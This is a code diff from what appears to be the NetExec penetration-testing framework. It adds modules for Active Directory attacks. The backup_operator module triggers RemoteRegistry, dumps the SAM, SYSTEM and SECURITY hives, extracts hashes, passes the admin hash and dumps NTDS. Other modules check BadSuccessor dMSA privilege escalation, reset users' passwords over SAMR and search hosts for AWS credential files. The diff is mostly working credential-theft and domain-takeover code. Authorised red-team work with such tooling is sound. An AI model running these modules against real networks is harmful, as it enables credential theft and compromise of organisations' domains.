+            search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
+            output = connection.execute(search_aws_creds_files_cmd_win, True)
+
+        if output:
+            context.log.success("The following files were found:")
+            for line in output.splitlines():
+                context.log.highlight(line.rstrip())

nxc/modules/backup_operator.py

@@ -0,0 +1,141 @@
+import time
+import os
+import datetime
+
+from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
+from impacket.smbconnection import SessionError
+from impacket.dcerpc.v5 import transport, rrp
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from nxc.paths import NXC_PATH
+
+
+class NXCModule:
+    name = "backup_operator"
+    description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
+    supported_protocols = ["smb"]
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.domain_admin = None
+        self.domain_admin_hash = None
+        self.deleted_files = True  # flag to check if SAM/SYSTEM/SECURITY files were deleted
+
+    def options(self, context, module_options):
+        """NO OPTIONS"""
+
+    def on_login(self, context, connection):
+        connection.args.share = "SYSVOL"
+        # enable remote registry
+        context.log.display("Triggering RemoteRegistry to start through named pipe...")
+        self.trigger_winreg(connection.conn, context)
+        rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
+        rpc.set_smb_connection(connection.conn)
+        if connection.kerberos:
+            rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
+        dce = rpc.get_dce_rpc()
+        if connection.kerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        dce.bind(rrp.MSRPC_UUID_RRP)
+
+        try:
+            for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
+                hRootKey, subKey = self._strip_root_key(dce, hive)
+                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
+                context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
+                try:
+                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
+                    context.log.highlight(f"Saved {hive} to {outputFileName}")
+                except Exception as e:
+                    context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
+                    return
+        except (Exception, KeyboardInterrupt) as e:
+            context.log.fail(str(e))
+        finally:
+            dce.disconnect()
+
+        # copy remote file to local
+        log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
+        for hive in ["SAM", "SECURITY", "SYSTEM"]:
+            connection.get_file_single(hive, log_path + hive)
+
+        # read local file
+        try:
+            def parse_sam(secret):
+                context.log.highlight(secret)
+                if not self.domain_admin:
+                    first_line = secret.strip().splitlines()[0]
+                    fields = first_line.split(":")
+                    self.domain_admin = fields[0]
+                    self.domain_admin_hash = fields[3]
+
+            local_operations = LocalOperations(log_path + "SYSTEM")
+            boot_key = local_operations.getBootKey()
+            sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
+            sam_hashes.dump()
+            sam_hashes.finish()
+
+            LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
+            LSA.dumpCachedHashes()
+            LSA.dumpSecrets()
+        except Exception as e:
+            context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
+
+        if self.domain_admin:
+            connection.conn.logoff()
+            connection.create_conn_obj()
+            if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
+                try:
+                    context.log.display("Dumping NTDS...")
+                    connection.ntds()
+                except Exception as e:
+                    context.log.fail(f"Fail to dump the NTDS: {e!s}")
+
+                context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
+                connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
+                for hive in ["SAM", "SECURITY", "SYSTEM"]:
+                    try:
+                        out = connection.conn.listPath("SYSVOL", hive)
+                        if out:
+                            self.deleted_files = False
+                            context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
+                    except SessionError as e:
+                        context.log.debug(f"File {hive} successfully removed: {e}")
+            else:
+                self.deleted_files = False
+        else:
+            self.deleted_files = False
+
+        if not self.deleted_files:
+            context.log.display("Use the domain admin account to clean the file on the remote host")
+            context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"")  # noqa: Q003
+        else:
+            context.log.display("Successfully deleted dump files !")
+
+    def trigger_winreg(self, connection, context):
+        # Original idea from https://twitter.com/splinter_code/status/1715876413474025704
+        # Basically triggers the RemoteRegistry to start without admin privs
+        tid = connection.connectTree("IPC$")
+        try:
+            connection.openFile(
+                tid,
+                r"\winreg",
+                0x12019F,
+                creationOption=0x40,
+                fileAttributes=0x80,
+            )
+        except SessionError as e:
+            # STATUS_PIPE_NOT_AVAILABLE error is expected
+            context.log.debug(str(e))
+        # Give remote registry time to start
+        time.sleep(1)
+
+    def _strip_root_key(self, dce, key_name):
+        # Let's strip the root key
+        key_name.split("\\")[0]
+        sub_key = "\\".join(key_name.split("\\")[1:])
+        ans = rrp.hOpenLocalMachine(dce)
+        h_root_key = ans["phKey"]
+        return h_root_key, sub_key

nxc/modules/badsuccessor.py

@@ -0,0 +1,221 @@
+from impacket.ldap import ldaptypes
+from nxc.parsers.ldap_results import parse_result_attributes
+from ldap3.protocol.microsoft import security_descriptor_control
+
+RELEVANT_OBJECT_TYPES = {
+    "00000000-0000-0000-0000-000000000000": "All Objects",
+    "0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
+}
+
+EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"]  # Domain Admins, Enterprise Admins
+EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"]  # Builtin Administrators, Local SYSTEM
+
+# Define all access rights
+ACCESS_RIGHTS = {
+    # Generic Rights
+    "GenericRead": 0x80000000,  # ADS_RIGHT_GENERIC_READ
+    "GenericWrite": 0x40000000,  # ADS_RIGHT_GENERIC_WRITE
+    "GenericExecute": 0x20000000,  # ADS_RIGHT_GENERIC_EXECUTE
+    "GenericAll": 0x10000000,  # ADS_RIGHT_GENERIC_ALL
+
+    # Maximum Allowed access type
+    "MaximumAllowed": 0x02000000,
+
+    # Access System Acl access type
+    "AccessSystemSecurity": 0x01000000,  # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
+
+    # Standard access types
+    "Synchronize": 0x00100000,  # ADS_RIGHT_SYNCHRONIZE
+    "WriteOwner": 0x00080000,  # ADS_RIGHT_WRITE_OWNER
+    "WriteDACL": 0x00040000,  # ADS_RIGHT_WRITE_DAC
+    "ReadControl": 0x00020000,  # ADS_RIGHT_READ_CONTROL
+    "Delete": 0x00010000,  # ADS_RIGHT_DELETE
+
+    # Specific rights
+    "AllExtendedRights": 0x00000100,  # ADS_RIGHT_DS_CONTROL_ACCESS
+    "ListObject": 0x00000080,  # ADS_RIGHT_DS_LIST_OBJECT
+    "DeleteTree": 0x00000040,  # ADS_RIGHT_DS_DELETE_TREE
+    "WriteProperties": 0x00000020,  # ADS_RIGHT_DS_WRITE_PROP
+    "ReadProperties": 0x00000010,  # ADS_RIGHT_DS_READ_PROP
+    "Self": 0x00000008,  # ADS_RIGHT_DS_SELF
+    "ListChildObjects": 0x00000004,  # ADS_RIGHT_ACTRL_DS_LIST
+    "DeleteChild": 0x00000002,  # ADS_RIGHT_DS_DELETE_CHILD
+    "CreateChild": 0x00000001,  # ADS_RIGHT_DS_CREATE_CHILD
+}
+
+# Define which rights are considered relevant for potential abuse
+RELEVANT_RIGHTS = {
+    "GenericAll": ACCESS_RIGHTS["GenericAll"],
+    "GenericWrite": ACCESS_RIGHTS["GenericWrite"],
+    "WriteOwner": ACCESS_RIGHTS["WriteOwner"],
+    "WriteDACL": ACCESS_RIGHTS["WriteDACL"],
+    "CreateChild": ACCESS_RIGHTS["CreateChild"],
+    "WriteProperties": ACCESS_RIGHTS["WriteProperties"],
+    "AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
+}
+
+FUNCTIONAL_LEVELS = {
+    "Windows 2000": 0,
+    "Windows Server 2003": 1,
+    "Windows Server 2003 R2": 2,
+    "Windows Server 2008": 3,
+    "Windows Server 2008 R2": 4,
+    "Windows Server 2012": 5,
+    "Windows Server 2012 R2": 6,
+    "Windows Server 2016": 7,
+    "Windows Server 2019": 8,
+    "Windows Server 2022": 9,
+    "Windows Server 2025": 10,
+}
+
+
+class NXCModule:
+    """
+    -------
+    Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
+    and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
+    """
+
+    name = "badsuccessor"
+    description = "Check if vulnerable to bad successor attack (DMSA)"
+    supported_protocols = ["ldap"]
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def is_excluded_sid(self, sid, domain_sid):
+        if sid in EXCLUDED_SIDS:
+            return True
+        return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
+
+    def get_domain_sid(self, ldap_session, base_dn):
+        """Retrieve the domain SID from the domain object in LDAP"""
+        r = ldap_session.search(
+            searchBase=base_dn,
+            searchFilter="(objectClass=domain)",
+            attributes=["objectSid"]
+        )
+        parsed = parse_result_attributes(r)
+        if parsed and "objectSid" in parsed[0]:
+            return parsed[0]["objectSid"]
+
+    def find_bad_successor_ous(self, ldap_session, entries, base_dn):
+        domain_sid = self.get_domain_sid(ldap_session, base_dn)
+        results = {}
+        parsed = parse_result_attributes(entries)
+        for entry in parsed:
+            dn = entry["distinguishedName"]
+            sd_data = entry["nTSecurityDescriptor"]
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
+
+            for ace in sd["Dacl"]["Data"]:
+                if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
+                    continue
+
+                has_relevant_right = False
+                mask = int(ace["Ace"]["Mask"]["Mask"])
+                for right_value in RELEVANT_RIGHTS.values():
+                    if mask & right_value:
+                        has_relevant_right = True
+                        break
+
+                if not has_relevant_right:
+                    continue  # Skip this ACE if it doesn't have any relevant rights
+
+                object_type = getattr(ace, "ObjectType", None)
+                if object_type:
+                    object_guid = ldaptypes.bin_to_string(object_type).lower()
+                    if object_guid not in RELEVANT_OBJECT_TYPES:
+                        continue
+
+                sid = ace["Ace"]["Sid"].formatCanonical()
+                if self.is_excluded_sid(sid, domain_sid):
+                    continue
+
+                results.setdefault(sid, []).append(dn)
+
+            if hasattr(sd, "OwnerSid"):
+                owner_sid = str(sd["OwnerSid"])
+                if not self.is_excluded_sid(owner_sid, domain_sid):
+                    results.setdefault(owner_sid, []).append(dn)
+        return results
+
+    def resolve_sid_to_name(self, ldap_session, sid, base_dn):
+        """
+        Resolves a SID to a samAccountName using LDAP
+
+        Args:
+        ----
+            ldap_session: The LDAP connection
+            sid: The SID to resolve
+            base_dn: The base DN for the LDAP search
+
+        Returns:
+        -------
+            str: The samAccountName if found, otherwise the original SID
+        """
+        try:
+            search_filter = f"(objectSid={sid})"
+            response = ldap_session.search(
+                searchBase=base_dn,
+                searchFilter=search_filter,
+                attributes=["sAMAccountName"]
+            )
+
+            parsed = parse_result_attributes(response)
+            if parsed and "sAMAccountName" in parsed[0]:
+                return parsed[0]["sAMAccountName"]
+            return sid
+        except Exception:
+            return sid
+
+    def on_login(self, context, connection):
+        # Check for a domain controller with Windows Server 2025
+        resp = connection.ldap_connection.search(
+            searchBase=connection.ldap_connection._baseDN,
+            searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
+            attributes=["operatingSystem", "dNSHostName"]
+        )
+        parsed_resp = parse_result_attributes(resp)
+
+        for dc in parsed_resp:
+            if "2025" in dc["operatingSystem"]:
+                out = connection.resolver(dc["dNSHostName"])
+                dc_ip = out["host"] if out else "Unknown IP"
+                context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
+            else:
+                context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
+
+        # Enumerate dMSA objects
+        controls = security_descriptor_control(sdflags=0x07)  # OWNER_SECURITY_INFORMATION
+        resp = connection.ldap_connection.search(
+            searchBase=connection.ldap_connection._baseDN,
+            searchFilter="(objectClass=organizationalUnit)",
+            attributes=["distinguishedName", "nTSecurityDescriptor"],
+            searchControls=controls)  # Fixed parameter name
+
+        context.log.debug(f"Found {len(resp)} entries")
+
+        results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
+
+        if results:
+            context.log.success(f"Found {len(results)} results")
+        else:
+            context.log.highlight("No account found")
+
+        for sid, ous in results.items():
+            samaccountname = self.resolve_sid_to_name(
+                connection.ldap_connection,
+                sid,
+                connection.ldap_connection._baseDN
+            )
+
+            for ou in ous:
+                if sid == samaccountname:
+                    context.log.highlight(f"{sid}, {ou}")
+                else:
+                    context.log.highlight(f"{samaccountname} ({sid}), {ou}")

nxc/modules/bh_owned.py

@@ -1,87 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-# Author:
-#  Romain Bentz (pixis - @hackanddo)
-# Website:
-#  https://beta.hackndo.com [FR]
-#  https://en.hackndo.com [EN]
-
-import sys
-from neo4j import GraphDatabase
-from neo4j.exceptions import AuthError, ServiceUnavailable
-
-
-class NXCModule:
-    name = "bh_owned"
-    description = "Set pwned computer as owned in Bloodhound"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.neo4j_pass = None
-        self.neo4j_user = None
-        self.neo4j_Port = None
-        self.neo4j_URI = None
-
-    def options(self, context, module_options):
-        """
-        URI            URI for Neo4j database (default: 127.0.0.1)
-        PORT           Listening port for Neo4j database (default: 7687)
-        USER           Username for Neo4j database (default: 'neo4j')
-        PASS           Password for Neo4j database (default: 'neo4j')
-        """
-
-        self.neo4j_URI = "127.0.0.1"
-        self.neo4j_Port = "7687"
-        self.neo4j_user = "neo4j"
-        self.neo4j_pass = "neo4j"
-
-        if module_options and "URI" in module_options:
-            self.neo4j_URI = module_options["URI"]
-        if module_options and "PORT" in module_options:
-            self.neo4j_Port = module_options["PORT"]
-        if module_options and "USER" in module_options:
-            self.neo4j_user = module_options["USER"]
-        if module_options and "PASS" in module_options:
-            self.neo4j_pass = module_options["PASS"]
-
-    def on_admin_login(self, context, connection):
-        if context.local_auth:
-            domain = connection.conn.getServerDNSDomainName()
-        else:
-            domain = connection.domain
-
-        host_fqdn = f"{connection.hostname}.{domain}".upper()
-        uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
-        context.log.debug(f"Neo4j URI: {uri}")
-        context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
-
-        try:
-            driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
-        except AuthError:
-            context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
-            sys.exit()
-        except ServiceUnavailable:
-            context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
-            sys.exit()
-        except Exception as e:
-            context.log.fail("Unexpected error with Neo4J")
-            context.log.debug(f"Error {e}: ")
-            sys.exit()
-
-        with driver.session() as session:
-            with session.begin_transaction() as tx:
-                result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
-                record = result.single()
-                try:
-                    value = record.value()
-                except AttributeError:
-                    value = []
-        if len(value) > 0:
-            context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
-        else:
-            context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
-        driver.close()

nxc/modules/bitlocker.py

@@ -0,0 +1,139 @@
+import re
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class NXCModule:
+    name = "bitlocker"
+    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
+    supported_protocols = ["smb", "wmi"]
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """ 
+        USAGE:
+        
+        NetExec smb <IP> -u <username> -p <password> -M bitlocker
+        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
+        """
+
+    def on_admin_login(self, context, connection):
+        if context.protocol == "smb":
+            bitlocker_smb = BitLockerSMB(context, connection)
+            bitlocker_smb.check_bitlocker_status()
+        elif context.protocol == "wmi":
+            bitlocker_wmi = BitLockerWMI(context, connection)
+            bitlocker_wmi.check_bitlocker_status()
+
+
+class BitLockerSMB:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # PowerShell command to check BitLocker volumes status.
+        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
+
+        try:
+            # Executing the PowerShell command to get BitLocker volumes status.
+            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
+            
+            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
+                self.context.log.fail("BitLockerVolume not found on target.")
+                return
+
+            # Splitting the output into lines.
+            lines = str(check_bitlocker_command_str_output).splitlines()
+            data_lines = [line for line in lines if re.match(r"\w:", line)]
+            
+            for line in data_lines:
+                # Checking every line for starting with drive
+                if line[1] == ":": 
+                    parts = line.split()
+                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
+
+                    # Checking if BitLocker is enabled.
+                    if protection_status == "On":
+                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
+                    else:
+                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
+        except Exception as e:
+            self.context.log.exception(f"Exception occurred: {e}")
+
+
+class BitLockerWMI:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        try:
+            # Create a DCOM connection
+            dcom_conn = DCOMConnection(
+                self.connection.host,
+                self.connection.username,
+                self.connection.password,
+                self.connection.domain,
+                self.connection.lmhash,
+                self.connection.nthash,
+                oxidResolver=True,
+                doKerberos=self.connection.kerberos,
+                kdcHost=self.connection.kdcHost)
+                
+            try:
+                # CoCreateInstanceEx for WMI login
+                i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+                iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
+
+                # Specify the namespace for BitLocker
+                bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
+                
+                # NTLM login for WMI
+                iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
+
+                # Set authentication level
+                iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+                # Query to get BitLocker status
+                classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
+                iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
+                encryptionTypeMapping = {
+                    0: "None",
+                    1: "AES_128_WITH_DIFFUSER",
+                    2: "AES_256_WITH_DIFFUSER",
+                    3: "AES_128",
+                    4: "AES_256",
+                    5: "HARDWARE_ENCRYPTION",
+                    6: "XTS_AES_128",
+                    7: "XTS_AES_256_WITH_DIFFUSER"
+                }
+                
+                try:
+                    while True:
+                        iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+                        encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
+                        if iWbemClassObject[0].ProtectionStatus == 1:
+                            self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
+                        else:
+                            if encryptionMethod == 0:  # Should be 0 if disabled
+                                self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
+                except Exception:
+                    pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
+
+                # Release resources
+                iWbemLevel1Login.RemRelease()
+                iWbemServices.RemRelease()
+                dcom_conn.disconnect()
+            except Exception as e:
+                if "WBEM_E_INVALID_NAMESPACE" in str(e):
+                    self.context.log.fail("BitLockerNamespace not found on target.")
+                    dcom_conn.disconnect()
+        except Exception as e:
+            self.context.log.error(f"Error occurred during BitLocker check: {e}")
+            dcom_conn.disconnect()

nxc/modules/change-password.py

@@ -0,0 +1,149 @@
+import sys
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+
+class NXCModule:
+    """
+    Module for changing or resetting user passwords
+    Module by Fagan Afandiyev, termanix and NeffIsBack
+    """
+
+    name = "change-password"
+    description = "Change or reset user passwords via various protocols"
+    supported_protocols = ["smb"]
+
+    def options(self, context, module_options):
+        """
+        Required (one of):
+        NEWPASS     The new password of the user.
+        NEWNTHASH   The new NT hash of the user.
+
+        Optional:
+        USER        The user account if the target is not the current user.
+
+        Examples
+        --------
+        If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
+            netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
+            netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
+
+        If want to change other user's password (with forcechangepassword priv or admin rights)
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
+            netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
+        """
+        self.newpass = module_options.get("NEWPASS")
+        self.newhash = module_options.get("NEWNTHASH")
+        self.target_user = module_options.get("USER")
+
+        if not self.newpass and not self.newhash:
+            context.log.fail("Either NEWPASS or NEWNTHASH is required!")
+            sys.exit(1)
+
+    def authenticate(self, context, connection, protocol, anonymous=False):
+        # Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
+        try:
+            # Map to the SAMR endpoint on the target
+            string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
+            rpctransport = transport.DCERPCTransportFactory(string_binding)
+            rpctransport.setRemoteHost(connection.host)
+
+            if anonymous:
+                rpctransport.set_credentials("", "", "", "", "", "")
+                rpctransport.set_kerberos(False, None)
+                context.log.info("Connecting with null session credentials.")
+            else:
+                rpctransport.set_credentials(
+                    connection.username,
+                    connection.password,
+                    connection.domain,
+                    connection.lmhash,
+                    connection.nthash,
+                    aesKey=connection.aesKey,
+                )
+                context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
+
+            # Connect to the DCE/RPC endpoint and bind to the SAMR service
+            dce = rpctransport.get_dce_rpc()
+            dce.connect()
+            context.log.info("[+] Successfully connected to DCE/RPC")
+            dce.bind(samr.MSRPC_UUID_SAMR)
+            context.log.info("[+] Successfully bound to SAMR")
+            return dce
+        except DCERPCException as e:
+            context.log.fail(f"DCE/RPC Exception: {e!s}")
+            raise
+
+    def on_login(self, context, connection):
+        self.context = context
+        target_username = self.target_user or connection.username
+        target_domain = connection.domain
+
+        # Grab all creds from the connection to use for authentication
+        self.oldpass = connection.password
+        self.oldhash = connection.nthash
+
+        new_lmhash, new_nthash = "", ""
+
+        # Parse new hash values if provided
+        if self.newhash:
+            try:
+                new_lmhash, new_nthash = self.newhash.split(":")
+            except ValueError:
+                new_nthash = self.newhash
+
+        try:
+            self.anonymous = False
+            self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
+        except Exception as e:
+            # Handle specific errors like password expiration or must be change
+            if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
+                context.log.warning("Password must be changed. Trying with null session.")
+                self.anonymous = True
+                self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
+            elif "STATUS_LOGON_FAILURE" in str(e):
+                context.log.fail("Authentication failure: wrong credentials.")
+                return False
+            else:
+                raise
+
+        try:
+            # Perform the SMB SAMR password change
+            self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
+        except Exception as e:
+            context.log.fail(f"Password change failed: {e}")
+
+    def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
+        try:
+            # Reset the password for a different user
+            if target_username != connection.username:
+                user_handle = self._hSamrOpenUser(connection, target_username)
+                samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
+                context.log.success(f"Successfully changed password for {target_username}")
+            else:
+                # Change password for the current user
+                if newPassword:
+                    # Change the password with new password
+                    samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
+                else:
+                    # Change the password with new hash
+                    user_handle = self._hSamrOpenUser(connection, target_username)
+                    samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
+                    context.log.highlight("Note: Target user must change password at next logon.")
+                context.log.success(f"Successfully changed password for {target_username}")
+        except Exception as e:
+            context.log.fail(f"SMB-SAMR password change failed: {e}")
+        finally:
+            self.dce.disconnect()
+
+    def _hSamrOpenUser(self, connection, username):
+        """Get handle to the user object"""
+        try:
+            # Connect to the target server and retrieve handles
+            server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
+            domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
+            domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
+            user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
+            return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
+        except Exception as e:
+            self.context.log.fail(f"Failed to open user: {e}")

nxc/modules/daclread.py

@@ -1,15 +1,17 @@
 import binascii
 import codecs
 import json
-import re
 import datetime
 from enum import Enum
 from impacket.ldap import ldaptypes
 from impacket.uuid import bin_to_string
 from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
-from ldap3.protocol.formatters.formatters import format_sid
+from nxc.parsers.ldap_results import parse_result_attributes
 from ldap3.utils.conv import escape_filter_chars
 from ldap3.protocol.microsoft import security_descriptor_control
+import sys
+import traceback
+from os.path import isfile
 
 OBJECT_TYPES_GUID = {}
 OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -64,7 +66,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -73,24 +75,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
